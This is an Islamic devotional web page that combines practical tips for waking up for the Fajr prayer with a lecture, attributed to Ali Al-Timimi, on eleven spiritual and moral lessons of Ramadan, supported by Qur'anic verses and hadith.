Majmoo' Fataawa wa Maqaalaat Mutanawwi'ah li Samaahat al-Shaykh al-`Allaamah `Abd al-`Azeez ibn `Abd-Allaah ibn Baaz (may Allaah have mercy on him), vol. 8, p. 36

Excerpts from Islam Questions and Answers: http://islammuslims.com/islam-qa/Volume_1_index.htm

Tips to help you wake up for Fajr, InshaAllah

1. Keep Away from Ma'aasi (acts of disobedience).
2. Avoid eating too much food.
3. Drink one or two glasses of water before going to bed.
4. Perform Wudoo (ablution) before going to bed.
5. Go to bed early.
6. Make intention in your heart to get up for Fajr.
7. Set your alarm.
8. Establish Fajr wake up calling system with family and friends e.g. friends/family members calling, texting etc each other to help one another wake up for fajr.
9. Say prescribed supplications (dua) before sleeping
10. Once awake, do not linger lazily in bed.
11. Go to your local masjid to pray

Also... one thing that helps that I do when I study late and stuff is put my alarm clock (which is very loud) in the bathroom... thus forcing you to get up and go to the bathroom to shut it off. While you're there in the bathroom, just splash yourself with water and walaa! You are awake and ready for Fajr.

Okay... so you dont have to do the splashing part, but try it.. it works Inshallah.

And the 2 advices above about staying away from sins and sleeping early is very important. It is from the Rizk (provision/bounty) of Allah that He allows you to get up for Fajr, and when you start sinning and things, He may keep you away from Fajr because of your sins.

Do NOT sleeeeeeeeeeeeeeeeeeep after Fajr.

Reaping the benefits of Ramadan

Ali Al-Timimi
Adopted from a lecture

In the month of Ramadaan it is very important that we spent a few moments to understand some of the wisdoms and lessons that we can learn from this month of fasting.

Unfortunately, many Muslims come in to this month and they are as a companion of the Prophet, peace be upon him, said: "Let it not be that the day that you fast and the day that you break fast be equal." Meaning, one's behaviour, attitude and outlook are the same whether one fasts or not, i.e. fasting has no effect upon that person. This is why we need to reflect on some of these lessons.

LESSON 1: Gaining Taqwaa

Allaah legislated fasting for gaining taqwaa, "O you who believe, fasting has been prescribed upon you as it has been prescribed upon those before you, so that you may attain taqwaa." (meaning of SoraatulBaqarah (2):183) Taqwaa in this case means to make a shield between oneself and Allaah’s anger and Hellfire. So we should ask ourselves, when we break our fasts, ‘Has this fasting day made us fear Allaah more? Has it resulted that we want to protect ourselves from the hellfire or not?

LESSON 2: Drawing closer to Allaah

This is achieved by reciting and reflecting on Al-Qur’aan during night and day, attending the taraaweeh prayers, remembering Allaah, sitting in circles of knowledge and, for those who can, making `umrah. Also for those who can, making I`tikaaf (seclusion) in the last ten nights of Ramadaan, so as to leave all worldly pursuits and seclude oneself in a masjid just thinking of Allaah, so as to bring oneself closer to Allaah (SWT). When one sins, one feels distant from Allaah. That is why one might find it heard to read the Qur’aan and come to the masjid. However, the obedient worshipper feels closer to Allaah and wants to worship Allaah more, because he is not shy from his sins.

LESSON 3: Acquiring patience and strong will

Allaah has mentioned patience more than seventy times in the Qur’aan and has commanded patience in more than sixteen ways in His Book. So when one fasts, and gives up one’s food and drink, and one’s marital sexual relations for those hours, one learns restraint and patience. This Ummah needs man and women that are strong willed, who can stand upon the Sunnah and the Book of Allah and not waver in front of the enemies of Allaah. We do not need emotional people, who just raise slogans and shout, but when the time comes to stand upon something firm, they cannot do so, they waver.

LESSON 4: Striving for Ihsaan (righteousness and sincerity) and staying away from riyaa’ (showing off)

Ihsaan means to worship Allaah as if one seeks Him, and even though one does not see Him, He sees all. Hasan al-Basree said, "By Allaah, in the last twenty years, I have not said a word or taken something with my hand or refrained to take something with my hand or stepped forth or stepped back, except that I have thought before I have done any action, ‘Does Allaah love this action? Is Allaah pleased with this action?' So when one is fasting, one should gain this quality of watching oneself and also staying away from riyaa’ (showing off). That is why Allah said in a hadeeth qudsee, "Fasting is for Me and I reward it." (al-Bukhaaree) Allaah singles out fasting from all other types of worship saying, "Fasting is for Me", because no one knows whether you are fasting or not, except Allaah. For example, when one is praying or giving charity or making tawaaaf, one can be seen by the people, so one might do the action seeking the praise of the people. Sufyaan ath-Thawree used to spend the nights and the days crying and the people used to ask him, "Why do you cry, is it due to the fear of Allaah? He said, ‘No.’ They said, "Is it due to the fear of the Hellfire?" He said, ‘No. It is not the fear of Hellfire that makes me cry, what makes me cry is that I have been worshipping Allaah all these years and doing scholarly teaching, and I am not certain that my intentions are purely for Allaah.’"

LESSON 5: Refinement of manners, especially those related totruthfulness and discharging trusts.

The Prophet (may Allaah send His blessing and peace upon him) said, "Whoever does not abandon falsehood in word and action, then Allaah (SWT) has no need that he should heave his food and drink." (al-Bukhaaree) What we learn from this, is that we must pay attention to the purification of our manners. The Prophet (may Allaah send His blessing and peace upon him) said, "was sent to perfect good manners." (Maalik) So we must check ourselves, are we following the behaviour of the Prophet (may Allaah send His blessing and peace upon him)? For example: Do we give salaam to those we don’t know and those we do know? Do we follow the manners of Islaam, by telling the truth and only telling the truth? Are we sincere? Are we merciful to the creation?

LESSON 6: Recognizing that one can change for the better

The Prophet (may Allaah send His blessing and peace upon him) said, "Every son of Adam sins and the best of the sinners are those whorepent." (Ibn Maajah) Allaah provides many opportunities to repent to Him and seek His forgiveness. If one was disobedient they can become obedient.

LESSON 7: Being more charitable

Ibn `Abaas said, "The Prophet (may Allaah send His blessing and peace upon him) was the most charitable amongst the people, and he used to be more so in the month of Ramadaan when Jibreel used to meet him on every night of Ramadaan till the end of the month…" (al-Bukhaaree) The Prophet (may Allaah send His blessing and peace upon him) said, "He who gives food for a fasting person to break his fast, he will receive the same reward as him, without nothing being reduced from the fasting person’s reward." (at-Tirmidhee)

LESSON 8: Sensing the unity of the Muslims

The Prophet (may Allaah send His blessing and peace upon him) said, "…Those of you who will live after me will see many differences. Then you must cling to my Sunnah and the Sunnah of the rightly guided khaleefahs. Hold fast to it and stick to it." (Aboo Daawood) In this month we sense that there is a possibility for unity, because we all fast together, we break fast together, we all worship Allah together, and we pray Salaatul-`Eid together. Therefore we sense that the unity of Muslims is possible. It is possible for Muslims to be a single body, but this will only be achieved when obedience is only to Allaah and His Messenger.

LESSON 9: Learning discipline

The Prophet (ma Allaah send His blessing and peace upon him) made us adhere to discipline and strictness, strictness that does not lead to fanaticism or going outside the bounds that Allaah has laid down. One cannot knowingly break the fast before the sunset, as this will not be accepted by Allaah. Muslims should learn to be very strict in their lives, because they are people of an important message, which they mold their lives around.

LESSON 10: Teaching the young to worship Allaah

It was the practice of the people of Madeenah, that during the fast of `Aashooraa (which is now a recommended fast of one day) to get their children to fast with them. When the children would cry of hunger and thirst, their parents would distract their attention by giving them some sort of toy to play with. The children would break their fast with their parents. (as mentioned in al-Bukhaaree).

So the young should be brought to the masjid and they should pray with their parents, so that they are able to get into the habit of becoming worshippers of Allaah. If one does not encourage children to fast when they are young, they will find it very difficult to fast for thirty days at the age of puberty. This is why the Prophet (may Allah send His blessing and peace upon him) said, "Command your children to pray at the age of seven and beat them at the age of ten (if they do not pray." (Haakim)

LESSON 11: Caring for one’s health

Fasting has many medical benefits and it teaches Muslims to take care of their health and too build strong bodies. The Prophet (may Allaah send His blessing and peace upon him) said, "A strong believer is better and is more beloved to Allah than a weak believer, and there is good in everyone." (Muslim)


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